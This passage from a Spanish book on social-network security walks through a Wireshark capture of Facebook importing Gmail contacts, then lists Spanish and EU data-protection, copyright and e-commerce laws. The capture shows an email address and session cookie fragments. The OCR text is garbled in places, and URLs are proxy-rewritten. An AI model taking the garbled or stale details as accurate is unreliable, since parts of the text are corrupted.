rTCP' SYN + ACK
(1 78) ....
(1 79)
(1 80)
JTcP1ACK
- [TLSvll Cllent Helio
facebook
~TLSvl] Server Helio
197)
rTlSvl1 Certificate Server Helio Done
198) .... [TLSVl] Client Key Exchange, Change Clpher Spec
200) Encryoted Handshake Message
TLSvl] Change Clpher Spec

E~C IIDted Handshake Messa e
221
226) ~Tl..Svl] Aollcatlon data
.."
'. Esta parte se
i
(234)
(392
fTLSvl1 A licatlon data
íHTTl'l GETLcon,ª-ct Imoorte,I ••••.•. HTTP/l.1

.- . '
I
repite varias veces
re glster.facebook.com (69.63.190.10)
[HTTP' HTT¡>fl.1 200 OK (PNGl register.facebook.com (69.63.190.10)
(394)
-LHTT.!'l GETLcontact-Lmoorte,/sorite ... HTTP/1.1
reglster.facebook.com (69.63.190.10)
rr¡¡¡
(398) fONnA WWW.facebook.com
(40 O) ....
roNsl A Facebook - 69.63.190.14
blCJ Servido, DNS
212.59.199.2
(401
fTC!'lSYN
fTCl'l SYN + ACK Facebook
(407) 69.63.190.14
(408) rTCP) sYN
(411)
[HTTP' GET...Lcontact Imoorte'/sP"'e... H1TP/l.1 facebook
Ilustración 64. Conexión Facebook - GMail (II).
Página 222
sociales
Si analizamos las conexiones, vemos que realiza los siguientes pasos, según el número de
paquete:
Paquete 8: Nuestra IP, 192.168.1.34 hace una petición al servidor DNS para saber
la IP de www.facebook.com.
Paquete 9: El servidor DNS 212.59.199.2 nos contesta con la IP de Facebook que
es 69.63.190.10.
Paquete 10, 11 y 12: Nos conectamos a Facebook mediante TCP con el saludo
inicial “three way handshake” es decir petición SYN-ACK.
Paquete 13: Hacemos una petición GET a Facebook solicitando los contactos de
GMAIL: GET
/contact_importer/api.php?type=1&flow=1&domain_id=&tracked_params=%5B%5D&ap
i_instance=2&login_str=angelescaballero.me%40gmail.com HTTP/1.1
Paquete 15: Facebook manda un ACK genérico mediante TCP a nuestra IP.
Paquete 16: Tenemos un “TCP segment of reassempled PDU”. En ocasiones los
paquetes vienen fragmentados en unidades de PDU (Protocol Data Units) y el
sniffer Wireshark los reensambla.
Paquete 17: Facebook nos manda la cabecera HTTP/1.1 302 Found. El código de
estado 302, nos da la respuesta al código pedido. Los navegadores deberían
seguir la URL que se da en la cabecera de respuesta, interpretando y remplazando
temporalmente esta URL. Básicamente es la respuesta a la petición GET:
Location:
https://www.google.com/accounts/o8/ud?openid.assoc_handle=AOQobUcXcaSsFUanX
WrgrU6m18zcCV1INJXb_9LR3bvHE-
YsKzBaYoAN&openid.claimed_id=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2Fauth%2F2.0%2Fi
dentifier_select&openid.ext0.mode=fetch_request&openid.ext0.required=email%
2Cfirst_name%2Clast_name%2Ccountry%2Clanguage%2Cdob&openid.ext0.type.countr
y=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2Fcontact%2Fcountry%2Fhome&openid.ext0.type.dob
=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2FbirthDate&openid.ext0.type.email=http%3A%2F%2F
axschema.org%2Fcontact%2Femail&openid.ext0.type.first_name=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxs
chema.org%2FnamePerson%2Ffirst&openid.ext0.type.language=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxsch
ema.org%2Fpref%2Flanguage&openid.ext0.type.last_name=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.
org%2FnamePerson%2Flast&openid.identity=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2Faut
h%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%
2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.ext0=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fopenid.net%2Fsr
v%2Fax%2F1.0&openid.ns.oauth=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2Fextensions%2Fo
auth%2F1.0&openid.ns.ui=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2Fextensions%2Fui%2F1
.0&openid.oauth.consumer=www.facebook.com&openid.oauth.scope=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fw
ww.google.com%2Fm8%2Ffeeds%2Fcontacts%2F&openid.realm=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fwww.fac
ebook.com%2F&openid.return_to=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fwww.facebook.com%2Fopenid%2Frec
eiver.php%3Fprovider_id%3D1010459756371%26context%3Dgmail_ci%26protocol%3Dh
ttp%26appdata%3D%257B%2522type%2522%253A1%252C%2522flow%2522%253A1%252C%252
2domain_id%2522%253A1%252C%2522tracked_params%2522%253A%2522%255B%255D%2522
%257D&openid.ui.icon=true&openid.ui.lang=es-ES&openid.ui.mode=popup
Paquete 20: Solicitamos al servidor DNS la IP de Google.www.google.com.
Paquete 21: El DNS nos responde con las IPs de Google del registro CNAME: DNS
Standard query response CNAME www.l.google.com A 66.102.13.104 A
66.102.13.105 A 66.102.13.106 A 66.102.13.147 A 66.102.13.99 A
66.102.13.103
Página 223
sociales
Paquete 22, 27 y 28: Nos conectamos a Google mediante TCP como antes con
Facebook, petición SYN-ACK.
Paquete 29, 31 y 32: Una vez que tenemos establecida la conexión TCP segura,
nos conectamos al servidor de GMail mediante HTTPs, con el protocolo de
conexión segura TLSv1 (Transport Layer Security en su versión 1; este protocolo es
como SSL pero bajo la capa de transporte) para obtener la clave de manera
cifrada. Para conectar al servidor primero realizamos el saludo Cliente Hello por
SSL, Server Hello y Certificate, Server Hello Done por TLS.
Paquete 34, 35: En estos dos paquetes se produce el intercambio seguro de la
clave de GMail. Nuestra IP manda a GMail un paquete TLS “Client Key Exchange,
Change Cipher Spec, Encrypted Handshake Message” y Gmail nos contesta
mediante TLS también “Change Cipher Spec, Encrypted Handshake Message”.
El protocolo TLS es responsable de la autenticación y del intercambio de claves
necesarios para establecer o reanudar sesiones seguras. Cuando se establece una
sesión segura, el protocolo administra lo siguiente:
o Cipher suite negotiation: el cliente y el servidor crean contacto y eligen el
cifrado que se usará a través del intercambio de mensajes.
o Autenticación del servidor y del cliente de manera opcional si se requiere. En
este protocolo el servidor provee su identidad al cliente. El cliente puede
también dar su identidad al servidor. PKI, el uso de Public/Private Key
Pairs, es la autenticación básica aunque se decide en el paso anterior.
o Intercambio de información de sesión de contraseñas. El cliente y el servidor
intercambian números de manera aleatoria y especialmente números
llamados Pre-Master Secret. Estos números son combinados con datos
adicionales permitiendo al cliente y al servidor crear su secreto
compartido llamado Master Secret o “secreto maestro”. El “secreto
maestro” es usado por el cliente y el servidor para generar la MAC secreta,
la clave de sesión se cifra mediante funciones hash, y por otro lado
tenemos la clave correcta, la cual es la clave de sesión usada para la
codificación.
Paquete 39, 41 y 42: Se intercambian paquetes de datos de aplicación,
Application Data.
Paquete 45-68: Se vuelven a reconectar mediante TCP nuestra IP y la de Google.
Probablemente se hayan perdido datos, o haya dado fallo la conexión y el usuario
le dio a reconectar, ya que habitualmente este paso se hace de 1 vez.
Paquete 69 y 71: Nuestra IP realiza una petición GET /common/blank.html
HTTP/1.1 y el servidor de Facebook contesta HTTP/1.1 200 OK.
Paquete 75: Nuestra IP realiza una petición POST al servidor de Facebook
pidiendo los contactos importados y utilizando como podemos ver la tecnología
AJAX: POST /contact_importer/ajax/get_progress.php?__a=1 HTTP/1.1
(application/x-www-form-urlencoded). Las peticiones POST normalmente están
relacionadas con formularios.
Página 224
sociales
Paquete 78:El servidor responde que ok:HTTP/1.1 200 OK (application/x-

javascript).
Paquete 76 y 79: Se pide el DNS de la dirección register.facebook.com y el
servidor de DNS nos responde con la IP relacionada que es 69.63.181.23.
Paquete 80, 83 y 84: Se establece comunicación TCP mediante SYN-ACK con
register.facebook.com. Para transmitir los contactos de Gmail se hará a partir de
ahora a la dirección de register.facebook.com pero la conexión con
www.facebook.com se mantiene activa ya que vemos algunos paquetes de ACK
aleatorios.
Paquete 85-99, 117-142 y 145-163: se transmite la clave de Gmail de manera
cifrada mediante TLS a register.facebook.com de la misma manera que antes, es
decir Client Hello, Server Hello… Change Cipher Spec… etc.
Paquete 101 y 103: nuestra IP le pregunta a www.facebook.com mediante una
petición POST el progreso de la importación de contactos: POST
/contact_importer/ajax/get_progress.php?__a=1 HTTP/1.1 (application/x-www-
form-urlencoded) contestando el servidor que okHTTP/1.1 200 OK
(application/x-javascript).
Paquete 107 y 109, 112 y 114, 144 y 165: exactamente lo mismo que el paso
anterior.
Paquete 168 y 169: Se realiza una petición DNS a s-static.ak.facebook.com.
Paquete 170 y 171: El servidor de DNS responde con la IP solicitada: CNAME s-
static.ak.facebook.com.edgekey.net CNAME e566.b.akamaiedge.net A
88.221.10.110.
Paquete 172-179: Vemos que nuestra IP intenta conectarse por TCP a la IP de s-
static.ak.facebook.com mediante el saludo SYN-ACK.
Paquete 180-391, 393 y 396: Se establece comunicación con el servidor s-
static.ak.facebook.com como antes Cliente Hello, Server Hello y Certifica Server
Hello Done. Se produce el intercambio de la clave de sesión y se intercambian
datos de sesión como antes.
Paquete 392: Nuestra IP realiza una petición GET al servidor de
www.facebook.com:GET
/contact_importer/ajax/log_actions.php?type=1&flow=1&domain_id=1&import_id=
undefined&tracked_params=%5B%5D&ci_tti=12170&asyncSignal=8353&post_form_id=
40ecb00a5cb545c96372f764e8d4a0f0 HTTP/1.1
Paquete 394: El servidor de www.facebook.com nos contesta que ok: HTTP/1.1 200
OK (PNG).
Paquete 395: Hacemos otra petición GET al servidor: GET
/contact_importer/sprite.php?t=1992689157 HTTP/1.1
Paquete 399, 340 y 403: Parece que tenemos que pedir de nuevo la IP del DNS
www.facebook.com y se realiza una petición DNS de nuevo contestando el servidor
de DNS con la nueva IP 69.63.190.14.
Paquete 401, 404-410: nos reconectamos a www.facebook.com a la nueva IP
mediante TCP.
Página 225
sociales
Paquete 411, 412, 415, 418, etc.: Pedimos al servidor la misma petición GET que
en el paquete 395.
A partir del paquete 411, y hasta el final de la captura se produce la misma
solicitud GET de manera constante contestando el servidor en la mayoría de
paquetes 200 ok y muchos paquetes de datos de tipo ACK y paquetes estándar de
tipo “TCP segment of a reassembled PDU”.
Veamos el seguimiento del TCP Stream:
GET
/contact_importer/api.php?type=1&flow=1&domain_id=&tracked_params=%5B%5D&api_instance=2&login_st
r=angelescaballero.me%40gmail.com HTTP/1.1Host: www.facebook.comUser-Agent: Mozilla/5.0
(Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5
Safari/531.22.7Referer: http://www.facebook.com/gettingstarted.phpAccept:
application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept
-Language: es-ESAccept-Encoding: gzip, deflateCookie:
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c9cdaa52d07ff566839913eaf4bc4c5cd06a3f806fd2a1c7420af; lo=PtYu_jC7QvQuVijSZcGUhg; locale=es_ES;
lsd=7wRed; x-referer=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fwww.facebook.com%2F%3Fref%3Dhome%23%2F%3Fref%3Dhome;
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LR3bvHE-
YsKzBaYoAN&openid.claimed_id=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&open
id.ext0.mode=fetch_request&openid.ext0.required=email%2Cfirst_name%2Clast_name%2Ccountry%2Clangu
age%2Cdob&openid.ext0.type.country=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2Fcontact%2Fcountry%2Fhome&openid.e
xt0.type.dob=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2FbirthDate&openid.ext0.type.email=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.
org%2Fcontact%2Femail&openid.ext0.type.first_name=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2FnamePerson%2Ffirst
&openid.ext0.type.language=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2Fpref%2Flanguage&openid.ext0.type.last_nam
e=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Faxschema.org%2FnamePerson%2Flast&openid.identity=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2F
auth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net
%2Fauth%2F2.0&openid.ns.ext0=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ns.oauth=http%3A%2F
%2Fspecs.openid.net%2Fextensions%2Foauth%2F1.0&openid.ns.ui=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fspecs.openid.net%2Fexte
nsions%2Fui%2F1.0&openid.oauth.consumer=www.facebook.com&openid.oauth.scope=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fwww.goo
gle.com%2Fm8%2Ffeeds%2Fcontacts%2F&openid.realm=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fwww.facebook.com%2F&openid.return_
to=https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fwww.facebook.com%2Fopenid%2Freceiver.php%3Fprovider_id%3D1010459756371%26contex
t%3Dgmail_ci%26protocol%3Dhttp%26appdata%3D%257B%2522type%2522%253A1%252C%2522flow%2522%253A1%25
2C%2522domain_id%2522%253A1%252C%2522tracked_params%2522%253A%2522%255B%255D%2522%257D&openid.ui
.icon=true&openid.ui.lang=es-ES&openid.ui.mode=popupPragma: no-cacheContent-Type: text/html;
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Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5
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referer=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fwww.facebook.com%2F%3Fref%3Dhome%23%2F%3Fref%3Dhome;
Página 226
sociales
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=2592000Content-Type: text/html;

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sociales
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Página 228
sociales
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...IHDR...2...........~...
.IDATx.T.i.d.}..;......Vfe.]U.T.$EI.EJ$%....c.....r..{.......1...<.f03.....\Dv.....}.=3.......Q.
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[email protected].*...(...d.....].........h#.
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.....5z..e....F.z(OQ....#....8.....y.1.'.y.....z6..i.X_....B.......&.1:[email protected]%.4
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sociales
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G....s..&2.q:.S.....?.cR[..
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.Z.._x......Q.g8.S....(e.|MQTW..x.G.._....I.\..C.p...........N.Ra]A..)M...*Jz..-
..rttD...X..N'.?s.....h5.....h...$U...)I2.,s..'.#@.......j..G..x...@.....,...-..Y
SE..|.ZY...X.<w. ...3.E..Oo.m.p..5....N."/x...QTC.Z.....v...DX...M..1.T.&."....t1g..Y$..-
....G4.M..EZ2..t{.......7.Z...R:.3.yF...'3..1+...V.V.M.....z........K./.......(
.]>...0f<..e.......5z....Ox...3<.b.`..W.X.h..MY.W..a.$[.i6.Xc.R.E..
E...>..3.x..6i....,.W..R.qTm..p."..9.9.
Como vemos las conexiones que se producen entre nuestro host local y los servidores de
Facebook y Gmail son conexiones de tipo TCP para establecer la comunicación de manera
segura como lo hace este protocolo, de tipo TLS para el intercambio de información segura a
nivel de transporte y del tipo HTTP para solicitudes GET y POST al servidor. Si analizamos las
conexiones HTTP, la mayoría de peticiones GET y POST que vemos son para obtener la
importación de contactos, algunos paquetes de datos transmiten imágenes de tipo .png,
otros son simplemente aceptaciones del servidor del tipo HTTP 200 ok.
A nivel de seguridad, viendo las cabeceras de las solicitudes de HTTP, si un atacante malicioso
capturase las conexiones dentro de nuestra red podría darse cuenta de que estamos haciendo
una importación de contacto de Facebook a Gmail que es un paso delicado, pero al ir todas las
conexiones con claves cifradas mediante TLS es bastante difícil, por no decir, casi imposible
que obtuviese nuestra clave de esta manera.
Este tipo de importación de contactos entre Web 2.0 sólo se realiza una vez y no se repite a
menos que el usuario lo desee. Una vez que Facebook tiene los contactos de Gmail
importados, los almacena en su base de datos y no se vuelve a comunicar con Gmail para
nada, por lo que Facebook no guarda de ninguna manera nuestra contraseña de Gmail.
Página 230
sociales
Capítulo 13
Legislación, estándares y
normativas
13.1. Introducción
Vamos a ver las normativas oficiales del gobierno de España y de la Unión Europea referentes
a las redes sociales y a la Web 2.0.
A pesar de las políticas tan restrictivas que podemos ver en los términos de uso de
determinadas redes sociales, tenemos algunas organizaciones a nivel nacional que nos
respaldan en el caso de sufrir algún delito de protección de datos o similar.
En este apartado no vamos a tratar de describir ley a ley los documentos si no que veremos su
enfoque hacia las redes sociales, cómo nos pueden proteger frente a problemas que surjan
derivados del uso de estas redes.
Las redes sociales se ven afectadas de manera jurídica por tres ramas principalmente:
Privacidad.
Propiedad Intelectual e Industrial.
Consumidores o usuarios.
Las redes sociales permiten la inserción de datos de información (datos de carácter personal,
datos de contacto, religión, política, tendencias sexuales, gustos, imágenes y video), cesión de
los datos y borrado y retención.
A pesar de la gran cantidad de posibilidades legislativas que tenemos vamos a centrarnos en

tres de ellas que son la LOPD, LSSI y la metodología de seguridad UIT-T X.805. Antes de
esto, vamos a definir primero los documentos y organizaciones existentes más relevantes.
También debemos destacar las series ISO 27000, que se trata de estándares de seguridad
para las mejores prácticas en Seguridad de la Información. Estas muestran cómo desarrollar,
implementar y mantener especificaciones para los sistemas de gestión de la información o
SGSI’s. Recorren muchos ámbitos.
Página 231
sociales
Tras llevar varios años la LOPD implantada el gobierno desarrolló el Esquema Nacional de
Seguridad o ENS. Ésta trata de establecer la política de seguridad en el uso de medios
electrónicos en las administraciones públicas estableciendo unos principios básicos y unos
requisitos mínimos. Así a priori no parece afectar a las redes sociales, pero en un futuro, si el
ENS se ve que funciona y se traslada al ámbito de las empresas privadas, podría tener
aplicación en las redes sociales.
Página 232
sociales
DOCUMENTOS
Vamos a ver os documentos legales de los que disponemos referentes al ámbito de la Web
2.0. Algunas de estas leyes continúan en vigor y otras han sido derogadas.
Estándares de calidad y metodologías:
ISO 27000
o Las normas ISO 27001 son estándares de seguridad. Destaca su versión
ISO/IEC 27001 que es la certificación que adquieren las organizaciones,
estándar para la seguridad de la información. Especifica los requisitos de
implantación SGSI (Sistema de Gestión de la Seguridad de la Información).
o Estas normas están redactadas por:
 International Organization for Standardization (ISO).
 International Electrotechnical Commission (IEC).
o Documentación: http://www.27000.org/.
UIT-T X.805
o Esta metodología hace un examen a alto nivel de los entornos complejos de
red, servicios y aplicaciones en el plano tecnológico.
o Redactada por Telecommunication Standardization Sector (ITU-T).dentro de la
Unión Internacional de las comunicaciones (ITU). Antiguamente se conocía
como Comité Consultivo Internacional Telegráfico y Telefónico (CCITT).
o Documentación: http://www.itu.int/itudoc/itu-
t/aap/sg17aap/history/x805/index.html.
Leyes de protección de datos:
Ley Orgánica 15/1999, de 13 diciembre. Regula la Protección de Datos de Carácter

Personal.
o Conocida como LOPD, se trata de una ley orgánica que se encarga de
garantizar y proteger el tratamiento de datos de carácter personal, libertades
públicas y derechos fundamentales de las personas físicas.
o Ésta ley está redactada por el Gobierno de España.
o Documentación:
http://www.boe.es/aeboe/consultas/bases_datos/doc.php?id=BOE-A-2008-
979.
Ley de Servicios de la Sociedad de la Información y de Comercio Electrónico
(LSSI).
o Esta ley sienta las bases para garantizar el derecho de los consumidores de
compras y servicios online. Esta relacionada íntegramente con el comercio
electrónico.
o Documentación:
 http://www.mityc.es/dgdsi/lssi/Documents/ltriptico.pdf.
 http://www.delitosinformaticos.com/descarga/lssi.pdf.
Página 233
sociales
Ley Orgánica de Regulación del Tratamiento Automatizado de los Datos de

Carácter Personal (LORTAD).
o Esta ley regula el tratamiento automatizado de datos de carácter personal,
como el uso que hacen las empresas de estos y cómo deben tratarlos.
o Documentación: http://noticias.juridicas.com/base_datos/Derogadas/r0-lo5-
1992.html.
Código Penal.
o El Código Penal de España actualmente vigente fue aprobado por la Ley
Orgánica 10/1995, de 23 de noviembre de 1995.
o Documentación: http://noticias.juridicas.com/base_datos/Penal/lo10-
1995.html.
Real Decreto 994/1999, de 11 junio. Aprueba el Reglamento de medidas de seguridad
de los ficheros automatizados que contengan datos de carácter personal.
o Documentación: http://noticias.juridicas.com/base_datos/Derogadas/r0-
rd994-1999.html.
Directiva 95/46/CE, de 24 octubre 1995, del Parlamento Europeo y del Consejo.
Protección de las personas físicas en lo que respecta al tratamiento de datos
personales y a la libre circulación de estos datos.
o Documentación:
http://www.legitec.com/legislacion_pdf/Directiva95_46_CE.PDF.
Directiva 2002/58/CE, de 12 julio 2002, del Parlamento Europeo y del Consejo.
Tratamiento de los datos personales y protección de la intimidad en el sector de las
comunicaciones electrónicas (Directiva sobre la privacidad y las comunicaciones
electrónicas).
o Documentación: http://www.cert.fnmt.es/legsoporte/Directiva%2058-
2002%20DatoscaracterPersonal%20(es).pdf.
Documentos que abordan temas sobre propiedad intelectual:
Real Decreto Legislativo 1/1996, de 12 de abril.

o Aprueba el Texto Refundido de la Ley de Propiedad Intelectual aprobado por
Real Decreto Legislativo 22/1987, de 11 de noviembre, que regulariza, aclara y
armoniza las disposiciones legales vigentes sobre la materia.
o Documentación: http://noticias.juridicas.com/base_datos/Admin/rdleg1-
1996.html.
Ley 17/2001, de 7 diciembre, de Marcas.
o Para la protección de los signos distintivos se concederán, de acuerdo con la
presente Ley, los siguientes derechos de propiedad industrial:
 Las marcas.
 Los nombres comerciales.
Página 234
sociales
o Documentación: http://noticias.juridicas.com/base_datos/Privado/l17-
2001.t1.html#a1.
Directiva 91/250/CEE, de 14 de mayo de 1991, del Consejo sobre la protección jurídica
de los programas de ordenador.
o Ésta ley está redactada por el Consejo de las Comunidades Europeas.
o Documentación: http://www.scribd.com/doc/262649/Directiva-del-Consejo-
91250CEE-sobre-la-proteccion-juridica-de-programas-de-ordenador.
Directiva 2001/29/CE, de 22 de mayo de 2001, del Parlamento Europeo y del Consejo.
Derechos de autor.
o Armonización de determinados aspectos de los derechos de autor y derechos
afines a los derechos de autor en la sociedad de la información.
o Ésta ley está redactada por el Consejo de las Comunidades Europeas.
o Documentación: http://eur-
lex.europa.eu/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&l
g=es&numdoc=32001L0029&model=guichett.
Propuesta de Directiva de la Comisión Europea sobre Copyright en la Sociedad de
la Información (10 de diciembre de 1997).
o El objetivo de esta propuesta se centra en los derechos de reproducción,
comunicación pública, distribución y protección legal de los sistemas anti-
copia, así como de la gestión de los derechos.
o Esta propuesta ha sido redactada por la Comisión Europea.
o Documentación: http://www.onnet.es/01005008.htm.
Informe Bangemann.
o El Consejo Europeo solicitó que un grupo de personalidades elaborase un
informe para su reunión de 24- 25 de junio de 1994 en Corfú sobre las medidas
específicas que deben estudiar la Comunidad y los Estados miembros para el
establecimiento de infraestructuras en el ámbito de la información.
o Este informe ha sido redactada por la Consejo Europeo.
o Documentación: http://www.scribd.com/doc/29054214/Informe-Bangemann.
Libro Verde CEE sobre el derecho de autor en la Sociedad de la Información.
o El presente Libro Verde trata, por una parte, las excepciones y limitaciones de
los derechos exclusivos previstas porla Directiva 2001/29/CE y la Directiva
96/9/CE, y por otra, los problemas específicos, relacionados con las
excepciones y limitaciones, que afectan sobre todo a la difusión de
conocimientos, y que plantean la conveniencia de que estas excepciones
evolucionen en la era de la difusión digital.
o Este libro ha sido redactada por la Comisión Europea.
o Documentación:
http://www.isciii.es/htdocs/internacionales/pdf/Libro_verde_CE_derechos_de
_autor_en_la_economIa_del_conocimiento.pdf.
G7 and the Global Information Infrastructure.
o Redactada por los países del G7.
o Documentación: http://www.oecd.org/dataoecd/50/7/1912224.pdf.
Página 235
sociales
WIPO - Propuesta de modificación del Convenio de Berna.

o Propuesta para modificar el artículo 9.3 del convenio que establece la
organización mundial de la propiedad intelectual.
o Asamblea General de los estados miembros de la OMPI.
o Documentación:
http://www.wipo.int/edocs/mdocs/govbody/es/a_34/a_34_4.pdf.
Posición de Adhoc Coalition respecto a la propuesta de la WIPO.
Regulaciones sobre comercio electrónico:
Ley 34/2002, de 11 de julio.

o Servicios de la sociedad de la información y de comercio electrónico.
o Redactada por el Gobierno de España.
o Documentación: http://noticias.juridicas.com/base_datos/Admin/l34-
2002.html.
Directiva 2000/31/CE, de 8 de junio del Parlamento Europeo y del Consejo. Aspectos
jurídicos de los servicios de la sociedad de la información, en particular en comercio
electrónico en el mercado interior (Directiva sobre el comercio electrónico).
o Redactada por el Parlamento Europeo.
o Documentación:
http://www.belt.es/legislacion/vigente/Seg_inf/Comercio%20Electr%C3%B3n
ico/pdf/DIR_2000_31.PDF.
Leyes sobre firma electrónica:
Real Decreto-ley 14/1999, de 17 de septiembre. Regula el uso de la firma

electrónica.
o Documentación: http://noticias.juridicas.com/base_datos/Derogadas/r0-
rdl14-1999.html.
Orden de 21 de febrero de 2000.
o Aprueba el Reglamento de acreditación de prestadores de servicios de
certificación y de certificación de determinados productos de firma
electrónica.
o Redactada por el Gobierno de España en consideración la posición común del
Consejo de Ministros de Telecomunicaciones de la Unión Europea sobre la
Directiva por la que se establece un marco comunitario para la firma
electrónica.
o Documentación: http://noticias.juridicas.com/base_datos/Admin/o210200-
mf.html.
Directiva 1999/93 /CE, de 13 diciembre 1999, del Parlamento Europeo y del Consejo.
Establece un marco comunitario de firma electrónica.
o La comunicación y el comercio electrónicos requieren firmas electrónicas y
servicios conexos de autenticación de datos. La heterogeneidad normativa en
materia de reconocimiento legal de la firma electrónica y acreditación de los
Página 236
sociales
proveedores de servicios de certificación entre los Estados miembros puede

entorpecer gravemente el uso de las comunicaciones electrónicas y el
comercio electrónico.
o Redacasd
o Documentación: https://www.sede.fnmt.gob.es/sede/normas/Directiva-199-
93-CE.pdf.
Leyes sobre protección de los consumidores:
Ley 26/1984, de 19 julio. General para la Defensa de Consumidores y Usuarios.

o Los poderes públicos garantizarán la defensa de los consumidores y usuarios,
protegiendo, mediante procedimientos eficaces, la seguridad, la salud y los
legítimos intereses económicos de los mismos. Asimismo promoverán su
información y educación, fomentarán sus organizaciones y las oirán en las
cuestiones que puedan afectarles.
o Documentación: http://noticias.juridicas.com/base_datos/Derogadas/r6-l26-
1984.html.
Ley 7/1998, de 13 abril. Regula las Condiciones Generales de la Contratación.
o Condiciones generales de la contratación las cláusulas predispuestas cuya
incorporación al contrato sea impuesta por una de las partes, con
independencia de la autoría material de las mismas, de su apariencia externa,
de su extensión y de cualesquiera otras circunstancias, habiendo sido
redactadas con la finalidad de ser incorporadas a una pluralidad de contratos.
o Documentación: http://noticias.juridicas.com/base_datos/Privado/l7-
1998.html.
Real Decreto 1906/1999, de 17 diciembre.
o Regula la contratación telefónica o electrónica con condiciones generales en
desarrollo del artículo 5.3 de la Ley 7/1998, de 13 abril, de condiciones
generales de la contratación.
o Documentación:
http://www.mityc.es/dgdsi/lssi/normativa/DocNormativa/2.%20Reales%20De
cretos/RD1906_1999.pdf.
Directiva 93/13/CEE, de 5 abril 1993, del Consejo.
o Cláusulas abusivas en los contratos celebrados con consumidores.
o Redactada por el Consejo de las Comunidades Europeas.
o Documentación: http://www.consum.cat/legislacion/D93_13.pdf.
Directiva 97/7/CE, de 20 de mayo de 1997, del Parlamento Europeo y del Consejo.
Protección de los consumidores en materia de contratos a distancia.
Página 237
sociales
o Documentación:
http://www.belt.es/legislacion/vigente/Seg_inf/Comercio%20Electr%C3%B3n
ico/pdf/dir_97_7.pdf.
Documentos referentes a nombres de dominio:
Orden 21 marzo 2000. Regula el sistema de asignación de nombres de dominio de
Internet bajo el código de país correspondiente a España (.es).
Leyes relativas a pago electrónico y TEF (Transferencia Electrónica de Fondos):
Directiva 2000/46/CE, de 18 septiembre 2000, del Parlamento Europeo y del
Consejo. Acceso a la actividad de las entidades de dinero electrónico y su ejercicio así
como la supervisión cautelar de dichas entidades.
o Redactada por el parlamento europeo.
o Documentación:
http://europa.eu/legislation_summaries/other/l24236_es.htm.
Reglamentos de la Unión Europea:
Reglamento del Eurodac.

https://www.agpd.es/portalWebAGPD/canaldocumentacion/legislacion/union_eu
ropea/reglamentos/common/pdfs/B.19-cp--REGLAMENTO-EURODAC.pdf.
Desarrollo del Reglamento del Eurodac.
ropea/reglamentos/common/pdfs/B.20-cp--DESARROLLO-REGLAMENTO-
EURODAC.pdf.
REGLAMENTO (CE) No 45/2001 DEL PARLAMENTO EUROPEO Y DEL
CONSEJO de 18 de diciembre de 2000 relativo a la protección de las personas
físicas en lo que respecta al tratamiento de datos personales por las instituciones y
los organismos comunitarios y a la libre circulación de estos datos.
ropea/reglamentos/common/pdfs/B.21-cp--REGLAMENTO-PROTECCI-OO-N-
DATOS-EN-INSTITUCIONES-DE-LA-U.E..pdf.
Desarrollo del Reglamento de Protección de Datos en las Instituciones de la
Unión Europea.
https://www.agpd.es/portalWebAGPD/internacional/common/Decisin_prote_dat
